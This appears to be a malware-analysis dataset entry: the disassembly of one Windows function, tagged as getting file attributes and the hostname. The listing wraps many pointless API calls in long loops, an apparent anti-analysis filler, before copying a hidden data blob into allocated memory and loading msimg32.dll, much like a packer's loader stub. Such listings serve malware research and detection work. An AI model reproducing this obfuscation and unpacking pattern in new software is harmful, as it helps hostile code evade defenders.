Function at 0x420cfa
Capabilities:
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc6c
mov eax, dword [0x427004]
xor eax, esp
mov dword [esp + 0xc68], eax
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
cmp ebx, 0x11c
jne 0x420d32
mov eax, dword [0x428430]
add eax, 0x9e49
mov dword [0x437044], eax
cmp dword [0x437044], 0xd5d
jne 0x420d6a
xor eax, eax
push esi
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
push dword [esp + 0x14]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
or dword [0x429234], 0xffffffff
mov dword [0x429230], 0xec58acac
inc ebx
cmp ebx, 0x123789a
jl 0x420d1b
xor eax, eax
cmp eax, 0x55ded1
jne 0x420d88
mov ecx, dword [0x427c68]
mov dword [0x437048], ecx
inc eax
cmp eax, 0x5ea53c
jl 0x420d75
cmp dword [0x437044], 0x7c
jne 0x420e3b
push esi
lea eax, [esp + 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalShrink]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
push 0x2e
lea eax, [esp + 0x44]
push esi
push eax
mov dword [esp + 0x48], esi
call fcn.00405320
add esp, 0xc
push esi
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor ebx, ebx
xor eax, eax
mov word [esp + 0x2c], ax
lea edi, [esp + 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x74]
push eax
push esi
lea eax, [esp + 0x38]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x257e6
jg 0x420e8e
inc ebx
cmp ebx, 0xed031
jl 0x420e3d
jmp 0x420ea2
cmp dword [0x437044], 0xa
jne 0x420ea2
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x437044], 0x2a
jne 0x420f3e
push esi
mov dword [0x436f08], esi
mov dword [0x436f0c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
lea eax, [esp + 0x74]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
lea eax, [esp + 0x478]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
call fcn.00401393
pop ecx
push esi
call fcn.00401393
pop ecx
push esi
call fcn.00401015
pop ecx
push esi
push esi
push esi
call fcn.0040130f
add esp, 0xc
push esi
push esi
call fcn.004010a3
push esi
call fcn.004015a5
add esp, 0xc
push dword [0x437044]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x437044]
xor edi, edi
mov dword [0x436d60], eax
cmp ecx, esi
jbe 0x420f83
mov edx, dword [0x437048]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x420f7e
mov dword [0x436d64], 0x19b0
inc edi
cmp edi, ecx
jb 0x420f5c
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00420b9d
call fcn.00420c70
xor edi, edi
cmp dword [0x437044], 0x41
jne 0x420fb2
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp edi, 0xd606b
jne 0x420fbf
call fcn.00420b92
inc edi
cmp edi, 0x24e87d
jl 0x420f9a
mov dword [0x436f10], 0x8e46a6f0
cmp esi, 0x408e
jle 0x420fe4
cmp dword [esp + 0x44], 0xf5bed7
jne 0x420fed
inc esi
cmp esi, 0x687ed2
jl 0x420fd2
mov ecx, dword [esp + 0xc74]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret